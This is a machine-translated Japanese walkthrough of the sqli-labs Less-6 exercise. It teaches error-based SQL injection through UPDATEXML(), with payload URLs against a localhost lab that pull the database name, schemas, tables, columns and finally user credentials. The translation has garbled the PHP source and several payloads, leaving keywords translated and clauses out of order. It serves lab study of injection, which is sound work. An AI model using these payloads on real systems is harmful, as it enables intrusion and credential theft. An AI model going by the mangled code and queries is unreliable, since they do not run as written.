違いはLess6 Less5 Less6およびサーバにパラメータID、IDのプロセスパラメータということです。ここでは、ソースコードから見ることができます。
$ ID = $ _ GET [ 'ID']; = ' "'。$ IDです。 '"' $ ID; //套了双引号 $ SQL = "idは$のid LIMIT 0,1 =ユーザーがSELECT * FROM"; $結果=するmysql_query($ SQL)。 $行=は、mysql_fetch_array($結果)。 IF($行) { エコー'<フォントサイズ= "10"色= "#1 FFFF00">'。 エコー「あなたには...........あります」; エコー「<BR>」。 エコー"</ FONT>"; } 他 { エコー'<フォントサイズ= "3"色= "#1 FFFF00">'。 ますprint_r(mysql_error())。 エコー"</br> </ FONT>"; エコー'<フォント色=フォントサイズ= 3 "#0000FF">'。 }
当社の戦略と同じでオフ本のLess5います。すべてのメソッドは、単に交換すること」に、Less5 Less6に適用されます。」
今、私たちは、使用UPDATEXML()関数のエラー注入をご紹介します。
UPDATEXML():更新機能XMLドキュメント
構文:UPDATEXML(ターゲットXML文書、XMLパス、更新されたコンテンツ)
第二引数のXMLパスが運用場所である私たちは別の書式を書いた場合、XML文書のパスは/ XXX / XXX / XXX / ...このフォーマットである、それはエラーになり、私たちは不法に書かれた形式を返します。コンテンツ、及びこのコンテンツは、我々は、クエリにしたい違法なコンテンツです。
第二のフォーマット通常のクエリパラメータには、エラーが見つかりませんない場合でも、/ XXX / XX / XX / XXです
ID = 1とUPDATEXML( '何か'、 '/ X / X'、 '何か')security.usersからユーザ名を選択します。
使用CONCAT()スプライシング同じ「/」効果を、次の文は、クエリ「何でも」位置である/データベース()の内容で、「何でも」それを更新します。
ID = 1とUPDATEXML( '何'、CONCAT( '/'、(選択データベース()))、 '何')security.usersからユーザ名を選択します。
しかし、ここには構文エラーではなく、エラーがない、故意に、次の構文エラーを書か:
ID = 1とUPDATEXML( '何'、CONCAT( '〜'、(選択データベース()))、 '何でも')security.usersからユーザー名を選択します。
ないXML形式の構文エラーが、何ので、その目的を達成することを、認識されていないコンテンツを表示されます - それは、コンテンツの冒頭で、見ることができるように。
もう一つ注意すべき、クエリ文字列は、最大の長さにすることができます(更新)ビュー32、我々は結果をしたい場合より32よりも、あなたは()関数の傍受をサブストリングを使用する必要があり、あること、32あります
5概略的にここにクエリの前に:
security.usersからユーザー名を選択する場所、ID = 1とUPDATEXML( '何'、CONCAT( '〜'、サブストリング((選択データベース())、1,5))、 '何でも');
まあ、今はそれを試して、原理を理解しています。
まず、ユーザーを得る()値
http://127.0.0.1/sql/Less-6/?id=1" とUPDATEXML(1、CONCAT(0x7Eを、(選択ユーザ())、0x7Eを)、1) - +
復号の結果 - ASCIIコードが0x7Eを、です。
そして、現在のライブラリの名前のデータベースを取得しよう
http://127.0.0.1/sql/Less-6/?id=1" とUPDATEXML(1、CONCAT(0x7Eを、(選択データベース())、0x7Eを)、1) - +
その後、select文は、データベース、テーブル名とフィールド名の名前を取得し続けるために、ライブラリを使用することができます。組合と同じクエリが注入されました。エラー注入及び表示結果ので、単一のライン表示の結果を印刷するためのクエリ結果に適用文、または使用GROUP_CONCAT機能の使用を制限することが必要です。
他のデータベースには、ライブラリ名を取得します
http://127.0.0.1/sql/Less-6/?id=1" とUPDATEXML(1、CONCAT(0x7Eを、(information_schema.schemata限界1,1)からの選択SCHEMA_NAME、0x7Eを)、1) - +
データベーステーブルの現在の名前を取得します。
あなたは、クエリの制限を使用することができます
http://127.0.0.1/sql/Less-6/?id=1" とUPDATEXML(1、CONCAT(0x7Eを、(TABLE_SCHEMA =データベース()限界0,1 INFORMATION_SCHEMA.TABLESからテーブル名を選択し)、0x7Eを)、 1) - +
また、すべてのテーブル名からGROUP_CONCAT(table_nameの)ワンタイムチェックを使用することができます
http://127.0.0.1/sql/Less-6/?id=1" とTABLE_SCHEMA =データベース())、0x7Eを)INFORMATION_SCHEMA.TABLESからUPDATEXML(1、CONCAT(0x7Eを、(選択GROUP_CONCAT(テーブル名)、1 ) - +
フィールド名のユーザーテーブルを取得します。
http://127.0.0.1/sql/Less-6/?id=1" とinformation_schema.columnsどこTABLE_SCHEMA = 'セキュリティ' とtable_nameは= 'ユーザー' からUPDATEXML(1、CONCAT(0x7eの、(選択GROUP_CONCAT(COLUMN_NAME) )、0x7Eを)、1) - +
コンテンツusersテーブルへのアクセス
http://127.0.0.1/sql/Less-6/?id=1" とUPDATEXML(1、CONCAT(0x7Eを、ユーザーからの(選択GROUP_CONCAT(ユーザ名、0x3a、パスワード))、0x7eの)、1) - +
使用extractValueの()関数で同様の構成も同じペイロードのXPathエラーを生成することができ、あなたは自分自身を試すことができます。
参考:https://blog.csdn.net/zpy1998zpy/article/details/80631036